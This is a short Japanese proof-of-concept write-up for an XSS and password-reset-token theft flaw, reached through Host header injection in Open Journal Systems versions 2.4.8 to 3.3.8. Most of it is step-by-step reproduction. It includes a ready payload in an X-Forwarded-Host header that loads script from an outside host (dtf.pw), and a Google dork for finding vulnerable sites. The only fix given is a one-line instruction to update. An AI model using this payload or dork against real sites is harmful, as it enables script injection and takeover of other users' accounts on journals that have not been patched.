CVE-2022-24181 および CVE-2022-26616。おそらく同じものです。

Open-journal-system-Vulnerability

XSS（Host Headerインジェクション経由）と他ユーザーのパスワードリセットトークンの奪取

再現手順:

1. このサイトにアクセス: https://who's-using-ojs-software.com
2. Burpでこのリクエストをキャプチャし、Repeaterに送信。
3. Host Headerの後に以下を追加: X-Forwarded-Host: foo"><script src=//dtf.pw/2.js><x=".com
4. 送信ボタンをクリックし、その後リクエスト上で右クリック → 「Show response in browser」を選択、リクエストをコピー。
5. そのリクエストをブラウザに貼り付けると、XSSポップアップが表示される。

対策: 新しいバージョンにアップデートすること。

この脆弱性を見つけるためのGoogle Dork intitle:ojs

この脆弱性はPKPベンダーのソフトウェアOpen-journal-systemのバージョン2.4.8から3.3.8のすべてに存在し、Host Headerインジェクション経由のXSSとパスワードリセットトークンの奪取が可能です。